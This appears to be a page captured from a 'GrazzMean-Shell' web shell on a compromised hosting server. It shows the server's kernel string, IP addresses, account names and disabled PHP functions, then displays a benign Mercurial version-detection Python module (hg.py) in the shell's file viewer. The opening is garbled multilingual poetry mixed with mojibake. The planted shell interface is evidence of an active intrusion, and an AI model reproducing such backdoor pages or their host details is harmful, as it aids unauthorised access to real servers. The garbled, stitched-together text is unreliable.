曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜. rahbord-ins.ir - GrazzMean-Shell
Uname: Linux server18.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 185.126.202.122
Your Ip: 216.73.216.193
User: rahbordf (4876) | Group: rahbordf (4881)
Safe Mode: OFF
Disable Function:
show_source, system, shell_exec, passthru, exec, popen, proc_open

name : hg.py
import os
from .config import Configuration
from .utils import do, trace, data_from_mime, has_command
from .version import meta, tags_to_versions


def _hg_tagdist_normalize_tagcommit(config, tag, dist, node, branch):
    dirty = node.endswith("+")
    node = "h" + node.strip("+")

    # Detect changes since the specified tag
    revset = (
        "(branch(.)"  # look for revisions in this branch only
        " and tag({tag!r})::."  # after the last tag
        # ignore commits that only modify .hgtags and nothing else:
        " and (merge() or file('re:^(?!\\.hgtags).*$'))"
        " and not tag({tag!r}))"  # ignore the tagged commit itself
    ).format(
        tag=tag
    )
    if tag != "0.0":
        commits = do(
            ["hg", "log", "-r", revset, "--template", "{node|short}"],
            config.absolute_root,
        )
    else:
        commits = True
    trace("normalize", locals())
    if commits or dirty:
        return meta(
            tag, distance=dist, node=node, dirty=dirty, branch=branch, config=config
        )
    else:
        return meta(tag, config=config)


def parse(root, config=None):
    if not config:
        config = Configuration(root=root)

    if not has_command("hg"):
        return
    identity_data = do("hg id -i -b -t", config.absolute_root).split()
    if not identity_data:
        return
    node = identity_data.pop(0)
    branch = identity_data.pop(0)
    if "tip" in identity_data:
        # tip is not a real tag
        identity_data.remove("tip")
    tags = tags_to_versions(identity_data)
    dirty = node[-1] == "+"
    if tags:
        return meta(tags[0], dirty=dirty, branch=branch, config=config)

    if node.strip("+") == "0" * 12:
        trace("initial node", config.absolute_root)
        return meta("0.0", config=config, dirty=dirty, branch=branch)

    try:
        tag = get_latest_normalizable_tag(config.absolute_root)
        dist = get_graph_distance(config.absolute_root, tag)
        if tag == "null":
            tag = "0.0"
            dist = int(dist) + 1
        return _hg_tagdist_normalize_tagcommit(config, tag, dist, node, branch)
    except ValueError:
        pass  # unpacking failed, old hg


def get_latest_normalizable_tag(root):
    # Gets all tags containing a '.' (see #229) from oldest to newest
    cmd = [
        "hg", "log", "-r", "ancestors(.) and tag('re:\\.')", "--template", "{tags}\n"
    ]
    outlines = do(cmd, root).split()
    if not outlines:
        return "null"
    tag = outlines[-1].split()[-1]
    return tag


def get_graph_distance(root, rev1, rev2="."):
    cmd = ["hg", "log", "-q", "-r", "%s::%s" % (rev1, rev2)]
    out = do(cmd, root)
    return len(out.strip().splitlines()) - 1


def archival_to_version(data, config=None):
    trace("data", data)
    node = data.get("node", "")[:12]
    if node:
        node = "h" + node
    if "tag" in data:
        return meta(data["tag"], config=config)
    elif "latesttag" in data:
        return meta(
            data["latesttag"],
            distance=data["latesttagdistance"],
            node=node,
            config=config,
        )
    else:
        return meta("0.0", node=node, config=config)


def parse_archival(root, config=None):
    archival = os.path.join(root, ".hg_archival.txt")
    data = data_from_mime(archival)
    return archival_to_version(data, config=config)
© 2026 GrazzMean-Shell